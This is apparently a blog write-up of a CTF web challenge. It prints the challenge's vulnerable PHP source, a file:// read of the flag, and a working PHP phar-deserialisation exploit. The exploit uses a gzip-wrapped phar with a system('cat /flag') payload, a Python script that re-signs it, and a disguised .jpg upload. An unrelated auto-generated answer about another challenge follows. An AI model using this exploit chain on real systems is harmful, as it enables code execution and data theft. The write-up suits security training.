[NSSRound#4 SWPU]1zweb

1.打开环境,审计代码。

1.非预期解

直接用file伪协议读取flag,或直接读取flag

file:///flag
/flag

2.正常解

要复杂的多。

可以用读取文件读取index.php,upload.php的源码。

index.php:

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    echo file_get_contents($file);
}

upload.php:

<?php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}
?>

index.php中只需要绕过_wakeup魔术方法就行了,可以考虑增加自然属性个数或增加属性个数来绕过,因为upload.php会检查stub,所以压缩文件成zip(注意要用winhex改变属性个数,不然签名会改变),用phar://伪协议来读取文件。

phar压缩:

<?php
ini_set("phar.readonly","Off"); 
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="Misc";
        $this->dky="Re";
        $this->cmd="system('cat /flag');";
    }
}
$a = new LoveNss();
 
$phar = new Phar('aa.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
 
$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

?>
#注意要手动将php.ini中的phar.readonly改成Off

提交发现文件没有运行,所以考虑可能是压缩文件格式的问题。

用linux命令gzip压缩成gz:

cd 工作目录
gzip aa.phar

得到aa.phar.gz,改文件名为1.jpg上交,用phar读取发现签名损坏,所以要进行签名修复,phar由data,data签名(20位),和签名格式(8位)组成。

修复脚本:

from hashlib import sha1

import gzip

file = open(r'C:\networkSafe\phpstudy_pro\WWW\aa.phar', 'rb').read()

data = file[:-28]  # 获取需要签名的数据
# data = data.replace(b'3:{', b'4:{') #更换属性值,绕过__wakeup

final = file[-8:]  # 获取最后8位GBMB标识和签名类型

newfile = data + sha1(data).digest() + final  # 数据 + 签名 + 类型 + GBMB

open(r'C:\networkSafe\phpstudy_pro\WWW\new.phar', 'wb').write(newfile)  # 写入到新的phar文件

newf = gzip.compress(newfile)
with open(r'C:\networkSafe\phpstudy_pro\WWW\2.jpg', 'wb') as file: #更改文件后缀
     file.write(newf)

最后上交修改后的2.jpg得到flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答: \[1\]中的代码片段是一个PHP代码示例,其中定义了三个类C1e4r、Show和Test,并创建了相应的对象。\[2\]中的代码片段是一个PHP文件,它包含了一些文件操作和类的实例化。\[3\]中的代码片段是一个POC(Proof of Concept)示例,用于演示一个可能的漏洞利用场景。根据提供的信息,这个问题可能是关于SWPUCTF 2018比赛中的一个题目,题目名称为"SimplePHP"。然而,由于提供的引用内容不完整,无法给出更具体的答案。如果您有关于这个问题的更多信息,请提供更多的上下文,以便我能够更好地回答您的问题。 #### 引用[.reference_title] - *1* [[SWPUCTF 2018]SimplePHP_wp](https://blog.csdn.net/lzu_lfl/article/details/127802053)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [[SWPUCTF 2018]SimplePHP](https://blog.csdn.net/shinygod/article/details/124002143)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [[SWPUCTF 2018]SimplePHP--一道简单的Phar反序列化题目](https://blog.csdn.net/qq_41401434/article/details/125323752)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值